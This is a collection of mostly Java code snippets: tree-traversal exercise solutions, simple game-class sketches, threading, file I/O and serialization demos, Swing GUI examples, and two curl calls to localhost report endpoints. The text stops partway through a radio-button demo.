Snippets Collections
import java.util.*; 
import java.io.*;

class Main {
   public static String CodelandUsernameValidation(String str) {
    // code goes here 

    if(str.length() < 4 || str.length() > 25 || Character.isLetter(str.charAt(0)) == false || str.charAt(str.length()-1) == '_') {
      return "false";
    } 
    else{
      for(int i=0;i<str.length();i++){
        if(Character.isLetter(str.charAt(i)) || Character.isDigit(str.charAt(i)) || str.charAt(i) == '_'){
          continue;
        }
        else{
          return "false";
        }
      }
    }
    return "true";
    
  }

  public static void main (String[] args) {  
    // keep this function call here     
    Scanner s = new Scanner(System.in);
    System.out.print(CodelandUsernameValidation(s.nextLine())); 
  }

}

  
curl --location 'localhost:9091/chatbot/report/update-data-job' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

curl --location 'localhost:9091/chatbot/report/update-analytic-user' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

Convert a non-negative integer num to its English words representation.
class Solution {
    public static ArrayList<ArrayList<Integer>> Paths(Node root) {
        // code here
        
        ArrayList<ArrayList<Integer>> result = new ArrayList<>();
        
        pathToLeaf(root,result,new ArrayList<>());
        
        return result;
    }
    
    
    private  static void pathToLeaf(Node node, List<ArrayList<Integer>> result, ArrayList<Integer> sub){
        if(node == null){
            return;
        }
        
        sub.add(node.data);
        
        if(node.left==null && node.right == null){
            result.add(new ArrayList<>(sub));
        }
        
        pathToLeaf(node.left,result,sub);
        pathToLeaf(node.right,result,sub);
        sub.remove(sub.size()-1);
    }
    
}
        

// } Driver Code Ends


//User function Template for Java


class Solution
{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root)
    {
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
}
 class Solution{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root){
        // Code here
        
         
    
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
    
    
    
    
}           
                        
//User function Template for Java

/* A Binary Tree node
class Node
{
    int data;
    Node left, right;

    Node(int item)
    {
        data = item;
        left = right = null;
    }
}*/
class Tree
{
    //Function to return list containing elements of left view of binary tree.
    ArrayList<Integer> leftView(Node root)
    {
      // Your code here
      
      ArrayList<Integer> res = new ArrayList<>();
      int level =0;
      
      leftView(root,res,level);
      
      return res;
    }
    
    
    private void leftView(Node node , List<Integer> res,int level){
        if(node == null){
            return;
        }
        
        if(level ==res.size()){
            res.add(node.data);
        }
        
        leftView(node.left,res,level+1);
        leftView(node.right,res,level+1);
    }
    
    
    
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    ArrayList<Integer> res = new ArrayList<>();
    public List<Integer> postorderTraversal(TreeNode root) {
        postOrder(root);
        return res;
    }

    private void postOrder(TreeNode root){
        if(root == null){
            return;
        }
        postOrder(root.left);
        postOrder(root.right);
        res.add(root.val);
    }
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    public List<Integer> preorderTraversal(TreeNode root) {

        List<Integer> res = new ArrayList<>();

        preOrder(root,res);

        return res;
        
    }


    private void preOrder(TreeNode node,List<Integer> res){
        if(node == null){
            return;
        }

        res.add(node.val);
        preOrder(node.left,res);
        preOrder(node.right,res);



    }
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 * int val;
 * TreeNode left;
 * TreeNode right;
 * TreeNode() {}
 * TreeNode(int val) { this.val = val; }
 * TreeNode(int val, TreeNode left, TreeNode right) {
 * this.val = val;
 * this.left = left;
 * this.right = right;
 * }
 * }
 */
class Solution {
    public List<Integer> inorderTraversal(TreeNode root) {

        ArrayList<Integer> res = new ArrayList<>();
        inOrder(root, res);
        return res;

    }

    private void inOrder(TreeNode node, List<Integer> res) {
        if (node == null) {
            return;
        }

        inOrder(node.left, res);
        res.add(node.val);
        inOrder(node.right, res);
    }
}
import java.util.Scanner;

public class Test {
    public static void main(String[] args) {
        
        int n = 4;
        int m =5;
        
        // outer loop
        for (int i = 1; i <=n ; i++) {
            // inner loop
            for (int j = 1; j <= m; j++) {
                if (i==1 || i==n || j==1 || j==m) {
                    System.out.print("*");
                }
                else {
                    System.out.print(" ");
                }

            }
            System.out.println();
           
        }
        
    }
}
class Player {
    private int health = 100;

    public void takeDamage(int damage) {
        health -= damage;
        if (health <= 0) {
            die();
        }
    }

    private void die() {
        System.out.println("Player has died.");
        // Additional death logic
    }
}
Example: Score System
java
Copier le code
class Game {
    private int score = 0;

    public void increaseScore(int points) {
        score += points;
        System.out.println("Score: " + score);
    }
}
Example: Power-Ups
java
Copier le code
class PowerUp {
    public void applyTo(Player player) {
        player.increaseSpeed();
    }
}

class Player {
    private int speed = 5;

    public void increaseSpeed() {
        speed += 2;
    }

    public void pickUpPowerUp(PowerUp powerUp) {
        powerUp.applyTo(this);
    }
}
Example: Collectibles
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();
    private int score = 0;

    public void collect(Item item) {
        inventory.add(item);
        score += item.getPoints();
    }
}

class Item {
    private int points;

    public int getPoints() {
        return points;
    }
}
Example: Level System
java
Copier le code
class Game {
    private List<Level> levels;
    private Level currentLevel;

    public void loadLevel(int levelNumber) {
        currentLevel = levels.get(levelNumber);
    }
}
Example: Particle Effects
java
Copier le code
class Game {
    private List<Particle> particles = new ArrayList<>();

    public void createExplosion(int x, int y) {
        particles.add(new Explosion(x, y));
    }
}

class Particle {
    // Particle implementation
}

class Explosion extends Particle {
    public Explosion(int x, int y) {
        // Explosion effect implementation
    }
}
Example: Sound Effects
java
Copier le code
class SoundManager {
    public static void playSound(String soundFile) {
        // Play sound implementation
    }
}
Example: Background Music
java
Copier le code
class MusicManager {
    public static void playBackgroundMusic(String musicFile) {
        // Play background music implementation
    }
}
Example: Saving/Loading
java
Copier le code
class SaveManager {
    public void save(GameState gameState, String saveFile) {
        // Save game state implementation
    }

    public GameState load(String saveFile) {
        // Load game state implementation
        return new GameState();
    }
}

class GameState {
    // Game state implementation
}
Example: Multiplayer
java
Copier le code
class Game {
    private List<Player> players = new ArrayList<>();

    public void addPlayer(Player player) {
        players.add(player);
    }
}
Example: Inventory System
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();

    public void addItemToInventory(Item item) {
        inventory.add(item);
    }
}
Example: Dialog System
java
Copier le code
class DialogBox {
    public void show(String text) {
        // Display dialog implementation
    }
}
Example: Pathfinding
java
Copier le code
class PathFinder {
    public List<Point> find(int startX, int startY, int targetX, int targetY) {
        // Pathfinding algorithm implementation
        return new ArrayList<>();
    }
}
Example: Animations
java
Copier le code
class AnimatedSprite {
    private int currentFrame = 0;
    private Image[] animationFrames;

    public void animate() {
        currentFrame = (currentFrame + 1) % animationFrames.length;
    }
}
    @Override
    public List<HumanAgent> findByBotIdAndStatus(String botId, String status) {
        List<HumanAgent> humanAgents = new ArrayList<>();
        try {
            Query query = new Query().addCriteria(Criteria.where("bot_id").is(botId))
                    .addCriteria(Criteria.where("status").is(status));
            humanAgents = mongoTemplate.find(query, HumanAgent.class);
            log.info("find HumanAgent by botId {}, status {},  have size {}",
                    botId, status, humanAgents.size());
        }catch (Exception ex){
            log.error("ERROR {}", ExceptionUtils.getStackTrace(ex));
        }
        return humanAgents;
    }
Producer-Consumer Inter-thread communication

Table.java 

public class Table
{
	private String obj;
	private boolean empty = true;
	 
	public synchronized void put(String obj)
	{  
	   if(!empty)
	    {   try
		    {  wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
				
		this.obj = obj; 
		empty = false;
		System.out.println(Thread.currentThread().getName()+" has put "+obj);
		notify();
		
	}
	
	public synchronized void get()
	{   
	    if(empty)
	    {   try
		    {   wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
		
		empty = true;
		System.out.println(Thread.currentThread().getName()+" has got "+obj);
		notify();		
	}
	
	public static void main(String[] args)
	{
		Table table = new Table();
		
		Runnable p = new Producer(table);
		Runnable c = new Consumer(table);
		
		Thread pthread = new Thread(p, "Producer");
		Thread cthread = new Thread(c, "Consumer");
		
		pthread.start(); cthread.start();
		
		try{ pthread.join(); cthread.join(); }
		catch(InterruptedException e){ e.printStackTrace(); }
	}
}

Producer.java

public class Producer implements Runnable
{   private Table table;

	public Producer(Table table)
	{ this.table = table; }
	
	public void run()
	{   java.util.Scanner scanner = new java.util.Scanner(System.in);
		for(int i=1; i <= 5; i++)
		{   System.out.println("Enter text: ");
	        table.put(scanner.next());	
            try{ Thread.sleep(1000); }	
			catch(InterruptedException e){ e.printStackTrace(); }		
		}
	}
}

Consumer.java

public class Consumer implements Runnable
{   
	private Table table;

	public Consumer(Table table)
	{ this.table = table; }
	
	public void run()
	{   for(int i=1; i <= 5; i++){ 
			table.get();
		}
		
	}
}

Inter-thread Synchronization example

Users.java


public class Users implements Runnable
{   private Account ac;
    
    public Users(Account ac)
    { this.ac = ac; }
	
    public void run()
    {   
        Thread t = Thread.currentThread();
         
        String name = t.getName();
		for(int i=1; i<=5; i++)
		{
			if (name.equals("John"))
			{  ac.deposit(200); } 
			if (name.equals("Mary"))
			{  ac.withdraw(200); }
		}
    }
}

Account.java

public class Account 
{   private double balance;
    
    public Account(double startBalance)
    { this.balance = startBalance; }
    	
    public   synchronized   void deposit(double amount)
    { Thread t = Thread.currentThread();
	  double bal = this.getBalance(); bal += amount;
	  try{ Thread.sleep(1000); }
      catch(InterruptedException ie)
      { ie.printStackTrace();  }
	  this.balance = bal;
	  System.out.println(t.getName() + " has deposited "+amount); }

    public  synchronized void withdraw(double amount)
    {   Thread t = Thread.currentThread();
        if (this.getBalance()>=amount)
        {   try{ Thread.sleep(1000); }
            catch(InterruptedException ie)
            { ie.printStackTrace();  }
            this.balance -= amount;
            System.out.println(t.getName() + " has withdrawn "+amount);
        }         
    }

    public double getBalance() {   return this.balance; }
}



AcTest.java

public class AcTest
{
    public static void main(String[] args)
    {
        Account a = new Account(5000);
        System.out.println("Current balance: "+a.getBalance());

        Runnable john = new Users(a); Runnable mary = new Users(a);

        Thread t1 = new Thread(john,"John");  Thread t2 = new Thread(mary,"Mary");
        t1.start(); t2.start();
        try{
            t1.join(); t2.join();
        }catch(InterruptedException ie)
        { ie.printStackTrace(); 
        }
        System.out.println("Current balance: "+a.getBalance());
    }
}

Synchronization another example     

Sync.java

public class Sync implements Runnable
{   private Display d;
    private String message;
	public Sync(Display d, String message)
	{ this.d = d; this.message = message; }
	
	public void run()
	{  synchronized(d)
         {      // or syncronize the show method
			d.show(this.message); 
	   }
	}
	
	public static void main(String[] args)
	{   Display d = new Display();
		Runnable r1 = new Sync(d, "First Message");  Runnable r2 = new Sync(d, "Second Message");
		Runnable r3 = new Sync(d, "Third message");
		Thread t1 = new Thread(r1); Thread t2 = new Thread(r2); Thread t3 = new Thread(r3);
		t1.start(); t2.start();t3.start();
	}
}





class Display
{    // 	public synchronized void show(String message)
	public void show(String message)   
	{
		System.out.print("{ " + message);
		try{  Thread.sleep(500); }
		catch(InterruptedException e){ e.printStackTrace(); }
		System.out.println(" }");
	}
	
}
Serialization program with 3 files

import java.io.*;

public class Student implements Serializable
{
	private int id;
	private String name;
	private double percentage;
	
	// use transient and static variables to check if they are saved
	
	public Student(int id, String name, double percentage)
	{
		this.id = id;
		this.name = name;
		this.percentage = percentage;
	}
	
	public String toString()
	{
		return "ID: "+this.id+", Name: "+this.name+", Percentage: "+this.percentage;
	}
}





import java.io.*;

public class SerializationDemo
{
	public static void main(String[] args)
	{
		try(FileOutputStream fos = new FileOutputStream("serial.txt");
		    ObjectOutputStream out = new ObjectOutputStream(fos);
		   )
		   {   System.out.println("Creating a student");
			   Student s = new Student(100, "John", 98.56);
			   System.out.println(s);
			   out.writeObject(s);
			   System.out.println("Object serialized");
		   }
		   catch(FileNotFoundException fe){ fe.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class DeserializationDemo
{
	public static void main(String[] args)
	{
		try(FileInputStream fis = new FileInputStream("serial.txt");
		    ObjectInputStream in = new ObjectInputStream(fis);
		   )
		   {   System.out.println("Restoring the object");
			   Student s = (Student)in.readObject();
			   System.out.println(s);
			   System.out.println("Deserialization Done");
		   }
		   catch(ClassNotFoundException ce){ ce.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class DirList
{
	public static void main(String[] args)
	{	File f = new File(args[0]);
		if(f.isDirectory())
		{	String[] files = f.list();
			for(String each: files)
				System.out.println(each);
		}
		File f1 = new File(f,"/sub");
		f1.mkdir();
	}
}

import java.io.*;

public class ConsoleDemo
{
	public static void main(String[] args)
	{   		 
		Console c = System.console();
		if(c == null)
			return;
		String s = c.readLine("Enter a String: ");
		char[] p = c.readPassword("Enter a Password: ");
		String pw = String.valueOf(p);
		System.out.println("Entered Details: "+s+", "+pw);
	}
}
import java.io.*;

public class FileDemo
{
	public static void main(String[] args)
	{
		File f = new File("sample.txt");
		
		System.out.println("File name: "+f.getName());
		System.out.println("Path: "+f.getPath());
		System.out.println("Absolute path: "+f.getAbsolutePath());
		System.out.println("Parent: "+f.getParent());
		System.out.println("Exists? "+f.exists());
		System.out.println("Writable? "+f.canWrite());
		System.out.println("Readable? "+f.canRead());
		System.out.println("Directory? "+f.isDirectory());
		System.out.println("File? "+f.isFile());
		System.out.println("Last modified: "+f.lastModified());
		System.out.println("Length: "+f.length()+" bytes");
		
		//File r = new File("Newsample.txt");
		//System.out.println("Renamed? "+f.renameTo(r));
		/* the delete() method is used to delete a file or an empty directory*/ 
		
		//f.delete();
      	// other methods
		System.out.println("Free space: "+f.getFreeSpace());
		System.out.println("Total space: "+f.getTotalSpace());
		System.out.println("Usable space: "+f.getUsableSpace());
		System.out.println("Read-only: "+f.setReadOnly());
		
		
	}
}
import java.io.*;

public class BufferedReaderDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fis = new FileReader("BufferedReaderDemo.java");
		    BufferedReader bis = new BufferedReader(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		}
		catch(IOException ie){ ie.printStackTrace();}
	}
}

import java.io.*;

public class BufferedWriterDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fr = new FileReader("BufferedWriterDemo.java");
		    BufferedReader br = new BufferedReader(fr);
			FileWriter fw = new FileWriter("target.txt");
			BufferedWriter bw = new BufferedWriter(fw);
		   )
		{  int c;
		   while((c=br.read()) != -1)
		   { bw.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class CharArrayReaderDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		char[] c = new char[s.length()];
		s.getChars(0, s.length(), c, 0);
		
		try(CharArrayReader car = new CharArrayReader(c))
		{	int i;
			while((i = car.read()) != -1)
				System.out.print((char)i);
		}		catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class CharArrayWriterDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		CharArrayWriter bas = new CharArrayWriter();
		char[] a = new char[s.length()];
		s.getChars(0, s.length(), a, 0);
		
		try{ bas.write(a); }
		catch(IOException ie){ ie.printStackTrace(); }
				  
		char[] b = bas.toCharArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}
import java.io.*;

public class FileReaderDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileReaderDemo.java"))
		{
			int c;
			while((c=fr.read())!= -1)
				System.out.print((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileWriterDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileWriterDemo.java");
		    FileWriter fw = new FileWriter("Test2.dat");
		)
		{
			int c;
			while((c=fr.read())!= -1)
				fw.write((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class ByteArrayInputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		byte[] b = s.getBytes();
		ByteArrayInputStream bas = new ByteArrayInputStream(b);
		for(int i=0; i<2;i++)
		{
			int c;
			while((c=bas.read()) != -1)
			{
				if(i==0)
					System.out.print((char)c);
				else
					System.out.print(Character.toUpperCase((char)c));
			}
			System.out.println();
			bas.reset();
		}
	}
}
import java.io.*;

public class ByteArrayOutputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		ByteArrayOutputStream bas = new ByteArrayOutputStream();
		bas.writeBytes(s.getBytes()); 
		  
		byte[] b = bas.toByteArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}
import java.io.*;

public class BufferedOutputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                     new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
			FileOutputStream fos = new FileOutputStream("target.txt");
			BufferedOutputStream bos = new BufferedOutputStream(fos);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { bos.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class BufferedInputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                        new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}
TextDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class TextDemo implements ActionListener
{
    private JFrame frame;
	private JTextField tf1, tf2, tf3;
	private JTextArea ta;
	private JLabel label, label2;
	private JButton b;

	public TextDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		tf1 = new JTextField("Enter the name", 25); tf2 = new JTextField(20); tf3 = new JTextField("Enter a value");
		tf1.setFont(new Font("Verdana", Font.BOLD, 18));
		tf2.setFont(new Font("Verdana", Font.BOLD, 18));
		tf3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(tf1); frame.add(tf2); frame.add(tf3);
		//tf1.addActionListener(this); tf2.addActionListener(this); tf3.addActionListener(this);

		ta = new JTextArea(20, 15);
		ta.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(ta);

		label = new JLabel();
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		label2 = new JLabel();
		label2.setFont(new Font("Verdana", Font.BOLD, 18));
		label2.setForeground(Color.green);
		frame.add(label2);

		b = new JButton("Display");
		b.addActionListener(this);
		frame.add(b);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message ="";
		message += tf1.getText()+": ";
		message += tf2.getText()+": ";
		message += tf3.getText()+": ";
		label.setText(message);
		label2.setText(ta.getText());
	}

	public static void main(String[] args)
	{   new TextDemo();
	}
}
ListDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class ListDemo implements ListSelectionListener
{
    private JFrame frame;
	private JList<String> list;
	private JLabel label;
	private JToolTip tip;

	public ListDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		list = new JList<String>(months);
		list.addListSelectionListener(this);
		frame.add(list);

		//JScrollPane sp = new JScrollPane(list);
		//frame.add(sp);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void valueChanged(ListSelectionEvent ae)
	{   String message = "";
	    for(String each: list.getSelectedValuesList())
			message += each +" ";
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ListDemo();
	}
}
ComboBoxDemo2.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo2 implements ActionListener
{
    private JFrame frame;
	private JComboBox cb1, cb2, cb3;
	private JLabel label;

	public ComboBoxDemo2()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		cb1 = new JComboBox(); cb2 = new JComboBox(months); cb3 = new JComboBox();

		for(int i = 1; i<=31; i++){ cb1.addItem(i); }
		for(int i = 1970; i<2048; i++){ cb3.addItem(i); }

		cb1.addActionListener(this); cb2.addActionListener(this); cb3.addActionListener(this);
		frame.add(cb1); frame.add(cb2); frame.add(cb3);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message = "";
	    message += (Integer)cb1.getSelectedItem()+", ";
		message += (String)cb2.getSelectedItem()+", ";
		message += (Integer)cb3.getSelectedItem();
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ComboBoxDemo2();
	}
}
ComboBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo implements ActionListener
{
    private JFrame frame;
	private JComboBox cb;
	private JLabel label;

	public ComboBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		cb = new JComboBox();
		cb.addItem("Banana"); cb.addItem("Apple"); cb.addItem("Orange");
		cb.addItem("Grape");  cb.addItem("Mango"); cb.addItem("Pineapple");

		cb.addActionListener(this);
		frame.add(cb);

		label = new JLabel("I show the selected item");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText((String)cb.getSelectedItem());
	}

	public static void main(String[] args)
	{   new ComboBoxDemo();
	}
}
RadioButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class RadioButtonDemo implements ActionListener
{
    private JFrame frame;
	private JRadioButton c1, c2, c3, c4;
	private JLabel label;

	public RadioButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JRadioButton("Pizza");
		c1.addActionListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JRadioButton("Burger");
		c2.addActionListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JRadioButton("Rolls");
		c3.addActionListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

